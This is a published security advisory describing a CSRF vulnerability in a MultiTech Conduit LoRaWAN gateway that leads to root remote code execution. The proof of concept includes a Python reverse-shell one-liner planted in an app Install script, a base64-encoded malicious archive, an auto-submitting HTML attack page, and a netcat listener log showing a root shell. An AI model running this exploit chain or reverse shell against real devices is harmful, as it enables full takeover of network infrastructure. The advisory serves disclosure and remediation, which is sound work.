usd-2023-0004 | CSRF => RCE in MultiTech Conduit AP MTCAP2-L4E1

Advisory ID: usd-2023-0004
Product: MultiTech Conduit AP MTCAP2-L4E1 (https://www.multitech.com/models/92507614LF)
Affected Version: MTCAP2-L4E1-868-042A Firmware 6.0.0
Vulnerability Type: CSRF
Security Risk: High (based on CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H == 9.6)
Vendor URL: https://www.multitech.com
Vendor Status: Fixed
CVE number: CVE-2023-25201
First Published: Not published yet

 

Description

MultiTech Conduit AP MTCAP2-L4E1 is a LoRaWAN access point to provide connectivity of IoT assets.
The webinterface allows configuration of settings like user management, LoRaWAN, Firewall and custom applications.
During an assessment it was discovered that the whole webinterface of the access point is vulnerable to cross-site request forgery attacks (CSRF) attacks.
An attacker might be able to cause a user to unknowingly send requests to a vulnerable application.
If the user has previously authenticated himself towards the application, those requests will be executed according to the user's privileges.
Should the user possess administrative privileges this might enable the attacker to fully compromise the system.
A proof-of-concept exploit was written to show remote code execution exploiting the CSRF vulnerability.
In order to exploit this vulnerability an attacker needs to fool the user into visiting a specially crafted site of the attacker.

The application uses API requests to load content dynamically into the frontend.
All API requests are transmitted via HTTPS with a JSON body.
Such API requests are sent by JavaScript.
Other websites are not permitted to send those requests to the API because the Same-Origin-Policy prevents cross-site requests with a application/json MIME type.
The listing below shows such a request.

POST /api/command/app_pre_upload HTTP/1.1
Host: 192.168.0.107
Cookie: token=78A1B1B4662172CE4C87AA5D4477
Content-Length: 73
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close

{"info":{"fileName":"express-hello-world-1.4.tar.gz","fileSize":1689541}}

Trying to send the same request from the page of the attacker would be blocked by the user's browser.
Typical bypasses to perform CSRF attacks are changing the Content-Type to text/plain and attaching the JSON or abusing lax CORS headers.
In case of the access point another approach was used.
The Burp Extension Param Miner was used to discover additional hidden GET parameters for the request.
In our case it was found that the server accepted the parameter data for every API endpoint.
This parameter can contain the whole JSON which is usually transmitted in the request body.
It was determined that the server would also accept such a request below.

POST /api/command/app_pre_upload?data={"info"%3a{"fileName"%3a"express-hello-world-1.4.tar.gz","fileSize"%3a1689541}} HTTP/1.1
Host: 192.168.0.107
Cookie: token=EC8C377E51447AF14BA16704D328D7E
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

These types of requests are ideal to perform a CSRF attack on any endpoint of the API, since the SOP is not triggered with such a request.

Proof of Concept

The application allows uploading and installing custom applications with Python, C++ or NodeJS applications. This functionality can be abused in a CSRF attack to receive remote command execution on the system.

To install a custom app on the router, the application archive must meet a certain archive format.
MultiTech has documented the archive format in the following post http://www.multitech.net/developer/software/aep/creating-a-custom-application/
The easiest method is to download the <https://webfiles.multitech.com/wireless/mtcdt-x-210a/express-hello-world-1.4.tar.gz> files and modify certain files.
The following snippet shows the archive format.

revshell.tar.gz
├── Install
├── manifest.json
├── package.json
├── Start
└── status.json

In particular the Install file in the archive can be modified.
If a new custom app is installed on the router the Install file will be executed one time.
The Start file will be executed everytime the custom app is started.
The content of the file can be overriden with the commands that should be executed.

#!/bin/bash
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.0.109",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

exit 0

The second line of the script contains a python reverse shell payload.
The modified archive can then be base64 encoded to weaponize it in the next step.
The following listing shows the command to encode the archive.

$ base64 revshell.tar.gz -w 0                                                                                                                    H4sIABXG02MAA+1YTY+bMBTcM7/CpYcFiXhtY6Bp1EOl9pDLXlbqpWolPkziLrEt22wSVfvfa0KSbittcyJtuszF6L2HjZHnzcBcGJs3zdWQQAhlWQLciLMEPR17EEoApnFKMxojQgDCJKP4CqBBn2qP1u1fu0dZMK23f6g7le+3Ao7jheD1q5uCi5siN0vPU1u7lCIGkxJc85WS2gJpImW3kZHlPbMz866/gP0QhDMDSykEK20Q+HhKIE7fQAQxmvrR1CEMZ5+lgVWrSGBgzRsmZBBGdVhLDWrARYAiHJHwy8ytAo3K1yLwzdIPrz2PbbgFyPvbb+j/xioXvGbGwm9GioHWcHxIU/o8/3GSHfhPugTCFBMy8v8c+O4B4L9X6jZfMf8t8DV7YNows2RN40f75CcX4lJ0eQzpMfyBmVJzZfepjxvVSG5/v+tWWma6vO89jmT+16Dy8j5fsCHpf5L/hFLgJJ/QOEkynO74H9Mz878o8i3Tz9edyl8y/8We/GyjNDNm0pFfTtZSN1XPZqX5Q267GqtbtgtVTDFRMVHyHbu7ecBxhm4yCnG8bxbgydS5qBpW5HpX8zV2ZgEdatbcmdG+lxBIXNyFH8emMSju3Om3A69xyv+7BvBT/1HS+X/XCkb9Pwd+8f+j435xcKfftmZQ+T+p/yhLO/2PMSLu+3/n/9HZv/9fsv4rXjnRRQfjPhe17ER43v8bYlUEitYCIS3YMgt0KwQXi9HOjxgxYsQl4we0/Cg8ABgAAA==

To automate the attack, an HTML web page was created that prepares the file upload, uploads the created file and then triggers the installation of this file.
Such an HTML is displayed in the listing below.

<html>
<body>
<form action="[https://192.168.0.107/api/command/app_pre_upload?data={&quot;info&quot;%3a{&quot;fileName&quot;%3a&quot;revshell.tar.gz&quot;,&quot;fileSize&quot;%3a574}}"]() target="_blank" method="POST">
      <input type="submit" value="Prepare File Upload" />
</form>
<form enctype="multipart/form-data" method="post" action="[https://192.168.0.107/api/command/app_upload"]() target="_blank" name="fileinfo">
  <p>
    <label>File to stash:
      <input type="file" name="archivo" />
    </label>
  </p>
  <p>
    <input type="submit" value="Upload File" />
  </p>
</form>
<div id="output"></div>
<script>
    function _base64ToArrayBuffer(base64) {
      var binary_string = window.atob(base64);
      var len = binary_string.length;
      var bytes = new Uint8Array(len);
      for (var i = 0; i < len; i++) {
          bytes[i] = binary_string.charCodeAt(i);
      }
      return bytes.buffer;
    }

    // Get a reference to our file input
    const fileInput = document.querySelector('input[type="file"]');

    // Create a new File object
    const payload = 'H4sIABXG02MAA+1YTY+bMBTcM7/CpYcFiXhtY6Bp1EOl9pDLXlbqpWolPkziLrEt22wSVfvfa0KSbittcyJtuszF6L2HjZHnzcBcGJs3zdWQQAhlWQLciLMEPR17EEoApnFKMxojQgDCJKP4CqBBn2qP1u1fu0dZMK23f6g7le+3Ao7jheD1q5uCi5siN0vPU1u7lCIGkxJc85WS2gJpImW3kZHlPbMz866/gP0QhDMDSykEK20Q+HhKIE7fQAQxmvrR1CEMZ5+lgVWrSGBgzRsmZBBGdVhLDWrARYAiHJHwy8ytAo3K1yLwzdIPrz2PbbgFyPvbb+j/xioXvGbGwm9GioHWcHxIU/o8/3GSHfhPugTCFBMy8v8c+O4B4L9X6jZfMf8t8DV7YNows2RN40f75CcX4lJ0eQzpMfyBmVJzZfepjxvVSG5/v+tWWma6vO89jmT+16Dy8j5fsCHpf5L/hFLgJJ/QOEkynO74H9Mz878o8i3Tz9edyl8y/8We/GyjNDNm0pFfTtZSN1XPZqX5Q267GqtbtgtVTDFRMVHyHbu7ecBxhm4yCnG8bxbgydS5qBpW5HpX8zV2ZgEdatbcmdG+lxBIXNyFH8emMSju3Om3A69xyv+7BvBT/1HS+X/XCkb9Pwd+8f+j435xcKfftmZQ+T+p/yhLO/2PMSLu+3/n/9HZv/9fsv4rXjnRRQfjPhe17ER43v8bYlUEitYCIS3YMgt0KwQXi9HOjxgxYsQl4we0/Cg8ABgAAA=='
    var test = _base64ToArrayBuffer(payload)

    //const testblob = b64toBlob(test, "application/gzip");



    const myFile = new File([test], 'revshell.tar.gz', {
        type: 'application/gzip',
        lastModified: new Date(),
    });

    // Now let's create a DataTransfer to get a FileList
    const dataTransfer = new DataTransfer();
    dataTransfer.items.add(myFile);
    fileInput.files = dataTransfer.files;
</script>
<form action="[https://192.168.0.107/api/command/app_install?data={&quot;info&quot;%3a{&quot;appId&quot;%3a&quot;revshell&quot;,&quot;appName&quot;%3a&quot;revshell&quot;,&quot;appFile&quot;%3a&quot;revshell.tar.gz&quot;}}"]() method="POST" target="_blank">
   <input type="submit" value="Install uploaded file" />
</form>

<script>

const sleep = async (milliseconds) => {
    await new Promise(resolve => {
        return setTimeout(resolve, milliseconds)
    });
};

const testSleep = async () => {
    document.forms[0].submit();
    await sleep(2000);
    document.forms[1].submit();
    await sleep(2000);
    document.forms[2].submit();
}
testSleep();
</script>
</body>
<html>

The encoded archive is embedded into the HTML.
The HTML consists of three different forms.
An attacker could present this HTML to an authenticated administrator to trigger the installation of the custom application.
Note that all the forms are filled and requests are automatically submitted to the LoRaWAN gateway, if the HTML is visited.

The first form would prepare the file upload.
This request is needed to reserve the file name and file size.

The second form performs the file upload.
We discovered that the file upload with XHR was not possible because CORS prevents browsers to attach the user's session cookie to such a request.
The solution we came up with was to perform a file upload with multipart form and fill the file content with the base64 decoded archive.
Idea and code snippet were extracted from the following blog post https://pqina.nl/blog/set-value-to-file-input/
The base64 encoded archive is statically embedded in the JavaScript and will be decoded upon file initialization.
This form will also be filled automatically and submitted to the server.

The third form is used to install the uploaded application.
After the previous two forms have been completed and submitted, this form is also submitted.
The server should respond to all of those requests with following message.

{
    "code" : 200,
    "status" : "success"
}

As already discussed above, a reverse shell payload was inserted into the Install file.
To receive the reverse shell connection the attacker needs to open the TCP port 9999 on his local system.
The following listing shows a TCP listener and a successful connect back.
To proof remote command execution, the command whoami was executed to detemine the user running the reverse shell payload.
The server responds with root showing that the all applications installed are executed with the highest privileges.

$ nc -lvp 9999
listening on [any] 9999 ...
192.168.0.107: inverse host lookup failed: Unknown host
connect to [192.168.0.109] from (UNKNOWN) [192.168.0.107] 46190
sh-5.0# whoami
whoami
root

 

Fix

It is recommended to secure every user action using an anti-CSRF token.
Such a token consists of a pseudorandom value which is transmitted with every user request using a hidden field.
Upon arrival of a new user request the server validates the anti-CSRF token.
The user request is then processed only in case of a successful token validation.
Such a token has to be generated at least once for every user session.
Further information on this matter can be found in the CSRF Prevention Cheat Sheet provided by OWASP.

References

https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.htm;

Timeline

  • 2023-01-31: Vulnerability identified by Gerbert Roitburd
  • 2023-02-03: Vendor contact through contact formula
  • 2023-02-13: Contact vendor using mail from homepage
  • 2023-02-27: Third attempt to contact vendor by mail
  • 2023-02-28: Received response and shared details with vendor
  • 2023-05-19: Vendor notified us that a patch is available

Credits

This security vulnerability was identified by Gerbert Roitburd & Christian Poeschl of usd AG.